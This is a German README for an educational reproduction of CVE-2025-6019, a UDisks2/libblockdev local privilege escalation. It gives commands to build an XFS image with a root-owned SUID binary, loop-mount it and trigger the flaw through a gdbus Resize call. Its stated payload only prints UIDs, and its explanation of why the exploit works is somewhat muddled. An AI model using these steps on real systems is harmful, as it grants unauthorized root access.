CVE-2025-6019 – UDisks2 ResizeFilesystem Sicherheitslücke (Reproduktion zu Bildungszwecken)

Dieses Repository dokumentiert eine Reproduktion von CVE-2025-6019 zu Bildungszwecken, die in einer kontrollierten Laborumgebung (Ubuntu VM, nicht produktiv) durchgeführt wurde.

🛡️ Sicherheitshinweis

Diese Forschung reproduziert CVE-2025-6019 in einer isolierten Ubuntu-Umgebung, um die Grundursache und die Minderung der UDisks2-Sicherheitslücke zu analysieren.
Alle Ergebnisse werden verantwortungsvoll geteilt und zielen darauf ab, das Bewusstsein und die Übernahme von Patches zu fördern.
Wenn Sie ein Anbieter oder Betreuer sind, stellen Sie bitte sicher, dass Ihr System über die neuesten Sicherheitsupdates verfügt.

Einführung

Diese CVE-Sicherheitslücke ist eine Form der lokalen Privilegienausweitung in Linux-Systemen, die aus unzureichend koordinierten Interaktionen zwischen Linux-Dateisystemverwaltungskomponenten resultiert – in diesem Fall udisk/udisk2, libblockdev und Polkit. Dieser Fehler ermöglicht es einem lokalen Benutzer (nicht privilegiertem Angreifer), ein bösartiges Dateisystem-Image zu mounten, das Dateien enthält, die root gehören und das SUID-Bit gesetzt haben, ein SUID-root-Binary aus diesem Image auszuführen und schließlich die vollständige Kontrolle über das Host-System zu erlangen.

Wie man die Schwachstelle ausnutzt

Schritt 1: Umgebungseinrichtung

Diese Ausnutzung wird auf einer virtuellen Maschine mit Ubuntu 20.04.6 durchgeführt.
Alle Tests werden in einer isolierten lokalen VM ausgeführt, es werden keine Netzwerkverbindungen oder zerstörerischen Nutzlasten verwendet. Das Ziel ist rein, Privilegienänderungen zu beobachten und die Schwachstelle unter sicheren Bedingungen zu verifizieren.

Klonen Sie dieses Repository, stellen Sie sicher, dass Sie die Dateien check_root.c und exploit_helper.sh haben

~$ gcc check_root.c -o check_root

Überprüfung der Versionen von udisk2 und libblockdev:

~$ dpkg -l | grep libblockdev
~$ dpkg -l | grep udisk
~$ sudo apt install -y build-essential xfsprogs 
# Expected result: libblockdev version 2.23-2ubuntu3 and udisk2 version 2.8.4-1ubuntu2  

Schritt 2: Vorbereitung der Nutzlast (Angreifer-Maschine)

Beachten Sie, dass das Ziel nicht darin besteht, ein zerstörerisches Programm zu erstellen. check_root.c ist ein harmloses Testprogramm, das bei Ausführung nur seine reale UID und effektive UID ausgibt (durch die Funktionen getuid() & geteuid()). Wenn wir es jedoch durch ein bösartiges Binary ersetzen, könnte das System beschädigt werden.

Image-Datei erstellen:

~$ dd if=/dev/zero of=malicious_xfs.img bs=1M count=16
~$ sudo mkfs.xfs malicious_xfs.img

checkroot.c in das Image kopieren und SUID-Flag setzen:

~$ mkdir /tmp/xfs_mnt
~$ sudo mount -o loop malicious_xfs.img /tmp/xfs_mnt
~$ sudo cp check_root /tmp/xfs_mnt/
~$ sudo chmod 4755 /tmp/xfs_mnt/check_root
~$ sudo umount /tmp/xfs_mnt
~$ rmdir /tmp/xfs_mnt
~$ mount | grep malicious  
# Expected: no result return.

Wenn Sie sehen, dass das Image noch gemountet ist, unmounten Sie es. Nach diesem Schritt haben wir ein bösartiges Image, das eine bösartige Datei (checkroot.c) mit SUID-Flag und root-Eigentümer in den Metadaten enthält.
Beachten Sie, dass diese Metadaten beim Kopieren von Dateien zwischen Linux-Maschinen konsistent bleiben und Linux durch "nosuid" geschützt ist, was in diesem Szenario nicht beeinflusst wird.

Schritt 3: Ausnutzung (auf der Zielmaschine)

Dieser Schritt wird das Image auf die Zielmaschine abbilden und dann die bösartige Datei darin ausführen – diese Aktion ähnelt dem Einstecken eines bösartigen USB-Sticks in eine Linux-Maschine.

~$ losetup
# Check which /dev/loop* devices are in use and create a newone and mount with the malicious image creted in the Stage 2. For example, if you see /dev/loop1-8, create /dev/loop9:
~$ sudo losetup /dev/loop9 malicious_xfs.img
~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \  $LOOP_DEVICE)"
~$ Echo $OBJECT_PATH
#Expected: /org/freedesktop/UDisks2/block_devices/loop9
Precheck: 
~$ cat /proc/mounts | grep "$LOOP_DEVICE" | grep 'xfs' | awk '{print $2}'
#expected: No results returns

Ausführen der Datei exploit_helper.sh:

~$ chmod +x exploit_helper.sh
~$ ./exploit_helper.sh

Öffnen Sie ein zweites Terminal und senden Sie eine D-Bus-Anfrage, die das System (UDisks2) auffordert, die Größe des präsentierten Blockgeräts zu ändern.

~$ LOOP_DEVICE="/dev/loop9"
~$ OBJECT_PATH="/org/freedesktop/UDisks2/block_devices/$(basename \ $LOOP_DEVICE)"
~$ echo $OBJECT_PATH
#Expected: /org/freedesktop/UDisks2/block_devices/loop9
~$ gdbus call --system --dest org.freedesktop.UDisks2 --object-path \ /org/freedesktop/UDisks2/block_devices/loop9 --method \ org.freedesktop.UDisks2.Filesystem.Resize -t 10 "uint64 0" "{}"

Überprüfung des Exploitation-Terminals: Erfolg

Warum erfolgreich: Als das Image manuell mit losetup abgebildet und dann manuell gemountet wurde (selbst auf einem System, auf dem udisksd vorhanden ist), wurde der Mount unter einem anderen Kontext mit anderen Optionen und Lebenszyklus-Semantiken durchgeführt. In diesem Szenario wurde das Dateisystem nicht mit denselben von udisksd angewendeten Sicherheitsflags gemountet, sodass das setuid-Binary im Image wirksam werden konnte und der Ausnutzungsschritt erfolgreich war.

Das Ubuntu Security Team hat bereits gepatchte Versionen von UDisks2 veröffentlicht, die CVE-2025-6019 adressieren.

⚠️ Haftungsausschluss
Dieses Repository dient nur zu Bildungszwecken.
Verwenden Sie keine Teile dieses Inhalts, um reale Systeme anzugreifen oder zu modifizieren.
Der Autor und die Mitwirkenden übernehmen keine Haftung für Missbrauch.